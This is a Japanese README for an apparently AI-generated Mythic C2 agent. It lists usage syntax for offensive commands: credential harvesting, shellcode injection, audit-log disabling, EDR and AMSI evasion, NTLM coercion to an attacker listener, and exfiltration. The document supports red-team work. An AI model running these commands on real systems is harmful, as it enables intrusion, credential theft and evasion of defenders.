Fawkes Mythic C2 Agent

Fawkesは、完全にvibe-codedされたMythic C2エージェントです。最初は「I wonder」から始まり、目標へと変わりました。私の目標は、このエージェントのために1行もコードを書かず、代わりにプロンプトだけで生成することです。

当初は自分でエージェントを書こうと試みましたが、サンプルコンテナをクローンし、Mythicのドキュメントを読み、開発シリーズのYouTubeビデオを視聴し、MerlinやFreyjaなどの他のエージェントからコードをコピーした後、自分自身のエージェントを開発する時間がただ単にないと判断しました。しかし、プロンプトなら時間があります。

Fawkesは、クロスプラットフォーム機能を備えたgolangベースのエージェントです。Windows (EXE、DLL、シェルコードペイロード)、Linux (ELFバイナリと共有ライブラリ)、macOS (IntelおよびApple Silicon用のMach-Oバイナリ) をサポートします。213のコマンド 合計: 113のクロスプラットフォーム、82のWindows専用、21のUnix専用、11のLinux専用、6のmacOS専用 (一部のコマンドは、スクリーンショットなど、1つのユーザー向けの名前でプラットフォーム固有の実装を共有しています)。HTTPエグレスおよび内部ピボットのためのTCPピアツーピア (P2P) リンクをサポートします。

Installation

Fawkesをインストールするには、リモートコンピュータにMythicがインストールされている必要があります。Mythicのインストール手順は、Mythicプロジェクトページにあります。

Mythicのインストールディレクトリから:``` ./mythic-cli install github https://github.com/galoryber/fawkes

## コマンドのクイックリファレンスCommand | Syntax | Description
------- | ------ | -----------
acl-edit | `acl-edit -action read -server dc01 -target user` | Active DirectoryオブジェクトのDACLを読み取り・変更（ACEの追加・削除、DCSync、GenericAll、バックアップ・リストアの許可）。クロスプラットフォーム（T1222.001、T1098、T1003.006）。
adcs | `adcs -action <cas\|templates\|find\|request\|auto-exploit> -server <DC> -username <user@domain> -password <pass> [-ca_name <CA>] [-template <name>] [-alt_name <UPN>]` | AD証明書サービスを列挙し、脆弱なテンプレート（ESC1-ESC4、ESC6 via DCOM）を検出、DCOM経由でESC1/ESC6悪用の証明書を要求、または自動悪用（検出→解析→要求チェーン）。クロスプラットフォーム（T1649）。
ads | `ads -action <write\|read\|list\|delete> -file <path> [-stream <name>] [-data <content>] [-hex true]` | **(Windowsのみ)** NTFS代替データストリームを管理 - 隠しデータストリームの書き込み、読み取り、一覧表示、削除。テキストと16進エンコードされたバイナリをサポート。MITRE T1564.004。
amcache | `amcache -action <query\|search\|delete\|clear> [-name <pattern>] [-count <n>]` | フォレンジック実行アーティファクトを照会・クリーンアップ。Windows: Shimcache。Linux: recently-used.xbel、サムネイル、Tracker。macOS: 最近使った項目、KnowledgeC、隔離（T1070.004）。
apc-injection | `apc-injection [-method <apc\|hwbp>] -pid <PID> [-tid <TID>] [-target_api ntdll!NtDelayExecution] [-timeout_ms 30000]` | **(Windowsのみ)** リモートプロセスインジェクション。`-method apc`（デフォルト）はNtQueueApcThreadを使用してシェルコードをアラート可能なスレッドにキューイング（`ts`で検索）。`-method hwbp`はDebugActiveProcessでアタッチし、DR0ハードウェアブレークポイントをターゲットAPI（デフォルト`ntdll!NtDelayExecution`）に設定、ブレークポイント発火時にRipをシェルコードにリダイレクト - TID不要、APCキュー不要、CreateRemoteThread不要（T1055.004、T1055）。
audio-capture | `audio-capture [-duration 10] [-sample_rate 16000] [-channels 1] [-device default]` | マイクから音声を録音し、WAVファイルをアップロード。Windows（waveIn）、Linux（arecord/parecord）、macOS（rec/ffmpeg）。クロスプラットフォーム（T1123）。
auditpol | `auditpol -action <query\|disable\|enable\|stealth> [-category <name\|all>]` | **(Windowsのみ)** Windows監査ポリシーの照会・変更。機密操作の前にセキュリティイベントログを無効化。ステルスモードは検出に重要なサブカテゴリを無効化。AuditQuerySystemPolicy APIを使用（T1562.002）。
argue | `argue -command "cmd.exe /c whoami" -spoof "cmd.exe /c echo hello"` | **(Windowsのみ)** プロセス引数を偽装してコマンドを実行。SysmonイベントID 1やEDRコマンドラインテレメトリを回避（T1564.010）。
arp | `arp [-ip <subnet>]` または `arp -action spoof -target <IP> -gateway <IP>` | ARPテーブルをフィルタリングして表示、またはARPキャッシュポイズニングでMITMポジショニング（T1557.002）。Spoof: Linuxのみ、クリーンアップ時に復元。
asrep-roast | `asrep-roast -server <DC> -username <user@domain> -password <pass> [-account <target>]` | 事前認証なしのアカウントに対してAS-REPチケットを要求し、オフラインクラッキング用にhashcat形式のハッシュを抽出。LDAP経由で自動列挙。クロスプラットフォーム（T1558.004）。
av-detect | `av-detect [-deep true]` | 130以上のシグネチャデータベースで実行中プロセスをスキャンし、インストールされたAV/EDR/セキュリティ製品を検出。`--deep`ではカーネルモジュール、systemdユニット、設定ディレクトリもチェック（インストール済みだが未実行の製品をLinuxで検出）。製品、ベンダー、タイプ、PIDを報告。クロスプラットフォーム。
autopatch | `autopatch <dll_name> <function_name> <num_bytes>` | **(Windowsのみ)** 最も近いリターン（C3）命令にジャンプして関数を自動パッチ。AMSI/ETWバイパスに有用。
base64 | `base64 -action <encode\|decode\|xor\|hex\|hex-decode\|rot13\|url\|url-decode\|caesar> -input <data> [-key <key>] [-shift <N>] [-file true] [-output <path>]` | データエンコーディングツールキット：base64、XOR（文字列/16進キー）、hex、ROT13、URLパーセントエンコーディング、シーザー暗号。すべてファイルI/Oをサポート。クロスプラットフォーム（T1132.001、T1140、T1027）。
bits | `bits -action <list\|create\|persist\|cancel\|suspend\|resume\|complete> [-name <job>] [-url <URL>] [-path <local>] [-command <exe>]` | **(Windowsのみ)** BITS転送ジョブを管理：永続化とステルスファイルダウンロード。ジョブの作成、中断、再開、完了、通知コマンドの設定。ジョブは再起動後も存続（T1197）。
browser | `browser [-action <passwords\|cookies\|history\|autofill\|bookmarks\|downloads>] [-browser <all\|chrome\|edge\|chromium\|firefox>]` | Chromium、Firefox、Safariからブラウザデータを収集。履歴、オートフィル、ブックマーク、ダウンロードはクロスプラットフォーム。パスワード：Chromium（DPAPI/Keychain/GNOME Keyring）、Firefox（key4.db NSS復号）、Safari（macOS Keychain）。Firefoxクッキーは全プラットフォーム。MITRE T1555.003、T1217。
cat | `cat <file>` または `cat -path <file> -start N -end N -number true` | ファイル内容を表示。行範囲、行番号、5MBサイズ保護オプション付き。
cd | `cd <directory>` | 現在のワーキングディレクトリを変更。
chmod | `chmod -path <file> -mode <permissions> [-recursive true]` | ファイル/ディレクトリのパーミッションを変更（8進数755、644または記号 +x、u+rw、go-w）。再帰サポート。クロスプラットフォーム（T1222）。
chown | `chown -path <file> -owner <user> [-group <group>] [-recursive true]` | **(Linux/macOSのみ)** ファイル/ディレクトリの所有者をユーザー名/UIDおよびグループ名/GIDで変更。再帰サポート（T1222）。
cert-check | `cert-check -host <hostname> [-port 443] [-timeout 10]` | リモートホストのTLS証明書を検査 - CA、自己署名証明書、有効期限、SAN、TLSバージョン、暗号スイート、SHA256フィンガープリントを識別。クロスプラットフォーム（T1590.001）。
certstore | `certstore -action <list\|find> [-store <MY\|ROOT\|CA\|Trust\|TrustedPeople>] [-filter <substring>]` | **(Windowsのみ)** Windows証明書ストアを列挙し、コード署名証明書、クライアント認証証明書、秘密鍵を検索。CurrentUserとLocalMachineを検索。MITRE T1552.004、T1649。
clipboard | `clipboard -action <read\|write\|monitor\|dump\|stop> [-data "text"] [-interval 3]` | クリップボードを読み取り・書き込み、または継続的に監視して資格情報パターンを検出。クロスプラットフォーム（T1115）。
cloud-metadata | `cloud-metadata -action <detect\|creds\|storage\|aws-iam\|azure-graph\|gcp-iam\|aws-s3\|azure-blob\|gcp-gcs\|aws-persist\|azure-persist\|aws-ssm\|azure-keyvault\|gcp-secrets\|...> [-provider <auto\|aws\|azure\|gcp\|do>]` | クラウドメタデータ、資格情報抽出、IAM列挙、ストレージ列挙、永続化、シークレットストアアクセス。storage/aws-s3/azure-blob/gcp-gcs：サンプルオブジェクト付きバケット/コンテナ列挙。aws-ssm：SSMパラメータストア（復号付き）。azure-keyvault：マネージドID経由のKey Vaultシークレット。gcp-secrets：サービスアカウント経由のSecret Manager。aws-persist/azure-persist：長期アクセスキー/アプリ登録の作成。自動検出。IMDSv2。クロスプラットフォーム（T1552.005、T1580、T1530、T1098.001）。
compress | `compress -action <create\|list\|extract\|stage\|exfil\|stage-exfil\|exfil-https\|exfil-github> -path <path> [-format zip\|tar.gz] [-output <out>] [-pattern *.txt] [-cleanup true]` | アーカイブの作成、一覧表示、展開、ステージング、または外部送信。ステージはAES-256-GCMで暗号化。ExfilはMythicに転送。exfil-https：S3/Azure/GCSの署名付きURLにチャンクアップロード、カスタムヘッダー、ジッター付きでアップロード。exfil-github：GitHub Contents API経由で外部送信。クロスプラットフォーム（T1560.001、T1074.001、T1041、T1048、T1567、T1567.001）。
coerce | `coerce -server <target> -listener <attacker-ip> [-method petitpotam\|printerbug\|shadowcoerce\|all] -username <user> [-password <pass>] [-hash <NT hash>] [-domain <domain>]` | MS-EFSR（PetitPotam）、MS-RPRN（PrinterBug）、MS-FSRVP（ShadowCoerce）によるNTLM認証強制。ターゲットを攻撃者リスナーに認証させる。パスザハッシュ対応。クロスプラットフォーム（T1187）。
config | `config [-action show\|set\|update] [-key sleep\|jitter\|killdate\|working_hours_start\|working_hours_end\|working_days] [-value <val>] [-file <binary>] [-hash <sha256>]` | ランタイムエージェント設定の表示・変更、またはエージェントバイナリの自己更新。`show`/`set`：スリープ、ジッター、キルデート、稼働時間。`update`：Mythicから新しいペイロードをダウンロード、検証、起動、現在のエージェントを終了。クロスプラットフォーム（T1105）。
container-detect | `container-detect` | コンテナランタイムと環境（Docker、K8s、LXC、Podman、WSL）を検出。DockerソケットやK8sサービスアカウントなどのエスケープベクトルをチェック。クロスプラットフォーム（T1082、T1497.001）。